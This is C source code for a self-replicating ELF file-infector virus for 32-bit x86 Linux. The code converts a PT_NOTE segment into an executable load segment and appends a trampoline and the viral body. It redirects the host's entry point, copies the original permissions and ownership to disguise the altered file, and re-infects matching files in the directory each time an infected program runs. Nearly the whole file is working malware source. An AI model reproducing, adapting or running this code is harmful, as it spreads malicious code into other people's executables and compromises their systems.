#include <sys/mman.h>
#include <dirent.h> 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>

#include <errno.h>

#define PAGE_SIZE	4096
#define INFECTION_PREFIX "infect_me"


#define STR(str) \
({char * var = 0; \
 asm volatile ( "  call after_string%=\n" \
                "  .ascii \"" str "\"\n" \
                "  .byte 0\n"             \
                "  after_string%=:\n"     \
                "  pop %0\n"              \
                : "=m" (var) );           \
 var ; } )

static inline ssize_t my_write(int fd, const void *buf, size_t count) __attribute__((always_inline));
static inline int my_open(const char *pathname,int flags, mode_t mode) __attribute__((always_inline));
static inline int my_fstat(int fd, struct my_stat *buf) __attribute__((always_inline));
static inline ssize_t my_read(int fd, void *buf, size_t count) __attribute__((always_inline));
static inline ssize_t my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset) __attribute__((always_inline));
static inline int my_munmap(void *addr, size_t length) __attribute__((always_inline));
static off_t my_lseek(int fd, off_t offset, int whence) __attribute__((always_inline));
static inline int my_fchmod(int fd, mode_t mode) __attribute__((always_inline));
static inline int my_fchown(int fd, uid_t owner, gid_t group) __attribute__((always_inline));
static inline int my_rename(const char *oldpath, const char *newpath) __attribute__((always_inline));
static inline int my_close(int fd) __attribute__((always_inline));
static inline ssize_t my_getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count) __attribute__((always_inline));

void end_magic();
bool infect_elf(char *src);
int infect_current_dir();
void my_error(const char* str); 
 
typedef struct trampoline_data_s 
{
    char* start;
    int size;
}trampoline_data;


void magic()
{
    my_error(STR("I long live inside!\n"));
    infect_current_dir();
              
}

void my_memcpy(void* dst, void* src, unsigned int size)
{
    char* c_dst = (char*)dst;
    char* c_src = (char*)src;
    for(unsigned int i=0;i<size;i++)
        c_dst[i]=c_src[i];
}

bool get_trampoline(Elf32_Addr ea, trampoline_data* t)
{
    int start,end;
    __asm__ 
    (
        "call my_start\n"
        "my_start:\n"
        "pop %%eax\n"
        "addl $(trampoline_start-my_start), %%eax\n"
        "movl %%eax,%[start]\n"
        "addl $(trampoline_end-trampoline_start), %%eax\n"
        "movl %%eax,%[end]\n"
        "jmp end\n"
        // HERE THE STUB STARTS
        "trampoline_start:\n"
          "movl  $0xdeadbeef, %%eax\n"
          "push  %%eax\n"
          "pushal\n"
          "call trampoline_end\n"
          "popal\n"
          "ret\n" 
        "trampoline_end:\n"
        // HERE THE STUB ENDS
        "end: \n"
    :
		[start]"=r" (start), [end]"=r" (end)
	:
	:"eax");	
    t->size = end-start;
    t->start = (char *)my_mmap(0,
                        t->size,
                        PROT_WRITE | PROT_READ,
                        MAP_SHARED | MAP_ANONYMOUS,
                        -1, //fd
                        0); //offset
    if (t->start == MAP_FAILED) {
		my_error(STR("trampline malloc\n"));
		return false;
	}
    my_memcpy(t->start, (void*)start, t->size);
    for(int i=0;i<t->size;i++)
    {
        Elf32_Addr* cur = (Elf32_Addr*)(t->start + i);
        if(*cur==0xdeadbeef)
        {
            *cur=ea;
            return true;
        }
    }   
    return false;
}

bool copy_partial(int fd, int od, unsigned int len)
{
	char idata[PAGE_SIZE];
	unsigned int n = 0;
	int r;

	while (n + PAGE_SIZE < len) {
		if (my_read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {;
			my_error(STR("read"));
			return false;
		}

		if (my_write(od, idata, PAGE_SIZE) < 0) {
			my_error(STR("write"));
			return false;
		}

		n += PAGE_SIZE;
	}

	r = my_read(fd, idata, len - n);
	if (r < 0) {
		my_error(STR("read"));
		return false;
	}

	if (my_write(od, idata, r) < 0) {
		my_error(STR("write"));
		return false;
	}
    return true;
}

static inline int my_open(const char *pathname,int flags, mode_t mode)
{
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (5), 
                    "b" ((int)(pathname)),
                    "c" (flags),
                    "d" ((int)mode) );
    return result;
}

static inline ssize_t my_write(int fd, const void *buf, size_t count)
{
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (4), 
                    "b" (fd),
                    "c" ((int)buf),
                    "d" ((int)count) );
    return result;
}


static inline ssize_t my_read(int fd, void *buf, size_t count)
{
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (3), 
                    "b" (fd),
                    "c" ((int)buf),
                    "d" ((int)count) );
    return result;
}

static inline ssize_t my_getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count)
{
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (141), //sys_getdents
                    "b" (fd),
                    "c" ((int)dirp),
                    "d" ((int)count) );
    return result;
}

static inline int my_fchown(int fd, uid_t owner, gid_t group)
{
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (94), 
                    "b" (fd),
                    "c" ((int)owner),
                    "d" ((int)group) );
    return result;
}


static off_t my_lseek(int fd, off_t offset, int whence)
{
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (19), 
                    "b" (fd),
                    "c" ((int)offset),
                    "d" ((int)whence) );
    return result;
}

struct mmap_arg_struct {
     unsigned long addr;
     unsigned long len;
     unsigned long prot;
     unsigned long flags;
     unsigned long fd;
     unsigned long offset;
};

static inline ssize_t my_mmap(void *addr, size_t length, int prot,
                              int flags, int fd, off_t offset)
{
    mmap_arg_struct my_struct;
    my_struct.addr = (unsigned long)addr;
    my_struct.len = length;
    my_struct.prot = prot;
    my_struct.flags = flags;
    my_struct.offset = offset;
    
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (90), 
                    "b" ((int)(&my_struct)));
    return result;
}

static inline int my_munmap(void *addr, size_t length)
{   
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (91), 
                    "b" ((int)(addr)),
                    "c" ((int)length) );
    return result;
}

static inline int my_fchmod(int fd, mode_t mode)
{   
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (94), 
                    "b" ((int)fd),
                    "c" ((int)mode) );
    return result;
}


static inline int my_close(int fd)
{   
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (6), 
                    "b" ((int)fd));
    return result;
}


static inline int my_rename(const char *oldpath, const char *newpath)
{   
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (38), 
                    "b" ((int)oldpath),
                    "c" ((int)newpath) );
    return result;
}


struct __old_kernel_stat {
    unsigned short st_dev;
    unsigned short st_ino;
    unsigned short st_mode;
    unsigned short st_nlink;
    unsigned short st_uid;
    unsigned short st_gid;
    unsigned short st_rdev;
    unsigned long  st_size;
    unsigned long  my_st_atime;
    unsigned long  my_st_mtime;
    unsigned long  my_st_ctime;
};

struct my_stat {
     unsigned short st_dev;
     unsigned short __pad1;
     unsigned long st_ino;
     unsigned short st_mode;
     unsigned short st_nlink;
     unsigned short st_uid;
     unsigned short st_gid;
     unsigned short st_rdev;
     unsigned short __pad2;
     unsigned long st_size;
     unsigned long st_blksize;
     unsigned long st_blocks;
     unsigned long my_st_atime;
     unsigned long __unused1;
     unsigned long my_st_mtime;
     unsigned long __unused2;
     unsigned long my_st_ctime;
     unsigned long __unused3;
     unsigned long __unused4;
     unsigned long __unused5;
};

static inline int my_fstat(int fd, struct my_stat *buf)
{
    int result;
    asm volatile( "int $0x80"
                  : "=a" (result)
                  : "0" (108), //sys_newfstat
                    "b" (fd),
                    "c" ((int)buf));
    return result;
}

void my_error(const char* str)
{
   int size = 0;
   const char* end = str;
   while(*end)
        end++;
   size = end-str;
   my_write(1,str,size);
}

bool is_str_equal(const char *s1, const char *s2, size_t n)
{
    for(int i=0;i<n;i++)
        if(s1[i]!=s2[i])
            return false;
    return true;        
}

char* calc_magic_pointer()
{
    char* c_anchor = STR("");
    unsigned int anchor = (unsigned int)c_anchor;
    //unsigned int position = anchor - (unsigned int)calc_magic_pointer;
    //printf("current position %d\n", position);
    unsigned int anchor_diff = 18;
    unsigned int calc_magic_pointer_start = anchor - 18;
    //printf("calc_magic_pointer_start %02x\n", calc_magic_pointer_start);    
    unsigned int diff_from_calc_magic_pointer_to_magic = (unsigned int)calc_magic_pointer - (unsigned int)magic;
    unsigned int magic_real_address = calc_magic_pointer_start - diff_from_calc_magic_pointer_to_magic;
    //printf("magic_real_address %02x\n", magic_real_address);
    return (char*)magic_real_address;
}


bool infect_elf(char *src)
{
	Elf32_Shdr *shdr;
	Elf32_Phdr *phdr;
	Elf32_Ehdr ehdr;
	int i;
	int offset, oshoff, pos;
    int note_offset, end_of_legit, padding;
	int evaddr;
	int plen;
	int fd, od;
	char *sdata, *pdata;
	struct my_stat src_stat;
    char* tmpfilename = STR("infected_file.tmp");
    trampoline_data t;
    
    int load_segment_count;
    bool found_text_segment;
    bool modified_note;
    unsigned int text_segment_address;    
    int virus_size;
    int total_stub_size;    
    int stub;
    
    
    t.start = 0;
    pdata = 0;
    
    my_error(STR("Infecting "));
    my_error(src);
    my_error(STR(": "));
    
	fd = my_open(src, O_RDONLY, 0);
	if (fd < 0) {
		my_error(STR("open\n"));
		return false;
	}
/* read the ehdr */

	if (my_fstat(fd, &src_stat) != 0) {
		my_error(STR("fstat\n"));
		return false;
	}
    
    //printf("stat.st_size : %d\n", (int)src_stat.st_size);
    
	if (my_read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) {
		my_error(STR("read\n"));
		return false;
	}

/* ELF checks */

	if (!is_str_equal((const char*)ehdr.e_ident, STR(ELFMAG), SELFMAG)) {
		my_error(STR("File not ELF\n"));
		return false;
	}

	if (ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN) {
		my_error(STR("ELF type not ET_EXEC or ET_DYN\n"));
		return false;
	}

	if (ehdr.e_machine != EM_386) {
		my_error(STR("ELF machine type not EM_386"));
		return false;
	}

	if (ehdr.e_version != EV_CURRENT) {
		my_error(STR("ELF version not current\n"));
		return false;
	}
    my_error(STR("."));
/* modify the parasite so that it knows the correct re-entry point */

	//printf("Host entry point: 0x%x\n", ehdr.e_entry);
	Elf32_Addr e_entry = ehdr.e_entry;
    t.start = 0;
    
    if(!get_trampoline(e_entry, &t))
    {
        my_error(STR("get_trampoline failed\n"));
        goto RETURN_FALSE;
    }

    virus_size = (int)end_magic - (int)magic;
    total_stub_size = t.size + virus_size;
    //printf("t->start = %d\n", (int)t->start);
    //printf("t->size = %d\n", t->size);    
    my_error(STR("."));
        
/* allocate memory for phdr tables */

	pdata = (char *)my_mmap(0,
                        plen = sizeof(*phdr)*ehdr.e_phnum,
                        PROT_WRITE | PROT_READ,
                        MAP_SHARED | MAP_ANONYMOUS,
                        -1, //fd
                        0); //offset
	//printf("pdata : %02x\n", (unsigned int)pdata);
    //printf("plen : %02x\n", (unsigned int)plen);
    if (pdata == MAP_FAILED) {
		my_error(STR("malloc\n"));
		goto RETURN_FALSE;
	}
    my_error(STR("."));
    
    
/* read the phdr's */

	if (my_lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
		my_error(STR("lseek\n"));
		goto RETURN_FALSE;
	}
    //printf("b\n");
	if (my_read(fd, pdata, plen) != plen) {
		my_error(STR("read\n"));
		goto RETURN_FALSE;
	}
    my_error(STR("."));
    //printf("c\n");
    
    load_segment_count = 0;
    found_text_segment = false;
    modified_note = false;
    text_segment_address = 0;
	for (phdr = (Elf32_Phdr *)pdata, i = 0; i < ehdr.e_phnum; i++) {
        if(phdr->p_type == PT_LOAD)
            load_segment_count++;
        if (phdr->p_type == PT_LOAD && !found_text_segment)
        {
            found_text_segment = true;
            text_segment_address = (unsigned int)phdr->p_vaddr;
        }
        if (phdr->p_type == PT_NOTE && found_text_segment)
        {
            modified_note = true;
            phdr->p_type   = PT_LOAD;
            phdr->p_flags  = PF_W | PF_R | PF_X;
            int new_offset = src_stat.st_size;
            phdr->p_offset = src_stat.st_size;
            phdr->p_align = 0x1000;
            int payload_address = text_segment_address - total_stub_size;
            int o_address = payload_address;
            int adjustment = phdr->p_offset % 0x1000 - payload_address % 0x1000;
            if(adjustment > 0)
            {
                payload_address -= 0x1000;
            }
            payload_address += adjustment;
            phdr->p_vaddr = payload_address;
            phdr->p_paddr = payload_address;
            int size = o_address - payload_address + total_stub_size;
            phdr->p_filesz = size;
            phdr->p_memsz = size;
            // update entry point
            ehdr.e_entry = payload_address;
        }
		++phdr;
	}
    my_error(STR("."));
    if(load_segment_count==3)
    {
        my_error(STR("already infected\n"));
        goto RETURN_FALSE;
    }
    if(!modified_note)
    {
        my_error(STR("infection failed\n"));
        goto RETURN_FALSE;
    }
    //printf("d\n");

/* insert the parasite */

	od = my_open(tmpfilename, O_WRONLY | O_CREAT | O_TRUNC, src_stat.st_mode);
	if (od < 0) {
		my_error(STR("write\n"));
		goto RETURN_FALSE;
	}


/* Reconstruct a copy of the ELF file with the parasite */

	if (my_lseek(fd, 0, SEEK_SET) < 0) {
		my_error(STR("lseek\n"));
		goto RETURN_FALSE;
	}

	if (my_write(od, &ehdr, sizeof(ehdr)) < 0) {
		my_error(STR("write"));
		goto RETURN_FALSE;
	}

	if (my_write(od, pdata, plen) < 0) {
		my_error(STR("write"));
		goto RETURN_FALSE;
	}
    my_error(STR("."));
	my_munmap(pdata, plen);

	if (my_lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
		my_error(STR("lseek"));
		goto RETURN_FALSE;
	}
    my_error(STR("."));
	copy_partial(fd, od, src_stat.st_size - pos);
    my_error(STR("."));
/* Make it look like thr original */

	if (my_fchmod(od, src_stat.st_mode) < 0) {
		my_error(STR("chmod"));
		goto RETURN_FALSE;
	}

	if (my_fchown(od, src_stat.st_uid, src_stat.st_gid) < 0) {
		my_error(STR("chown"));
		goto RETURN_FALSE;
	}

    my_error(STR("."));
    // Edit NOTE section
	if (my_lseek(od, src_stat.st_size, SEEK_SET) < 0) {
		my_error(STR("lseek"));
		goto RETURN_FALSE;
	}    
	if (my_write(od, t.start, t.size) < 0) {
		my_error(STR("write"));
		goto RETURN_FALSE;
	}    
    
    my_error(STR("."));
    if (my_write(od, calc_magic_pointer(), virus_size) < 0) {
		my_error(STR("write"));
		goto RETURN_FALSE;
	} 
/* All done */


    stub = my_open(STR("stub"), O_WRONLY | O_CREAT | O_TRUNC, src_stat.st_mode);
	if (my_write(stub, t.start, t.size) < 0) {
		my_error(STR("write"));
		goto RETURN_FALSE;
	}    
    my_error(STR("."));
    if (my_write(stub, calc_magic_pointer(), virus_size) < 0) {
		my_error(STR("write"));
		goto RETURN_FALSE;
    }
    
    my_close(fd);
    
	if (my_rename(tmpfilename, src) < 0) {
		my_error(STR("\nrename\n"));
		goto RETURN_FALSE;
	}    
    
    my_munmap(t.start, t.size);
    
	my_error(STR("Infection Done\n"));
    return true;
    
    RETURN_FALSE:
        if(t.start!=0)
            my_munmap(t.start, t.size);
        if(pdata!=0)
            my_munmap(pdata, plen);
        return false;
    
}



struct linux_dirent {
   unsigned long  d_ino;     /* Inode number */
   unsigned long  d_off;     /* Offset to next linux_dirent */
   unsigned short d_reclen;  /* Length of this linux_dirent */
   char           d_name[];  /* Filename (null-terminated) */
                       /* length is actually (d_reclen - 2 -
                          offsetof(struct linux_dirent, d_name) */
   /*
   char           pad;       // Zero padding byte
   char           d_type;    // File type (only since Linux 2.6.4;
                             // offset is (d_reclen - 1))
   */
};

int infect_current_dir()
{
   int fd, nread;
   int BUF_SIZE = 1024;
   char buf[BUF_SIZE];
   struct linux_dirent *d;
   int bpos;
   char d_type;

   fd = my_open(STR("."), O_RDONLY | O_DIRECTORY, 0);
   if (fd == -1)
       my_error(STR("open\n"));

   for ( ; ; ) {
       nread = my_getdents(fd, (linux_dirent*)buf, BUF_SIZE);
       if (nread == -1)
           my_error(STR("getdents\n"));

       if (nread == 0)
           break;

       for (bpos = 0; bpos < nread;) {
           d = (struct linux_dirent *) (buf + bpos);
           d_type = *(buf + bpos + d->d_reclen - 1);
           bpos += d->d_reclen;
           
           
           if( (d_type==DT_REG) &&
               (is_str_equal(d->d_name, STR(INFECTION_PREFIX), sizeof(INFECTION_PREFIX)-1)) )
           {
                infect_elf(d->d_name);
           }
       }
   }
}

void end_magic()
{
   my_error(STR("END_MAGIC"));
}

int main(int argc, char *argv[])
{
    calc_magic_pointer();
	if (argc != 1) {
		fprintf(stderr, "usage: infect-elf\n");
		exit(1);
	}

    infect_current_dir();
    
    
	exit(0);
}
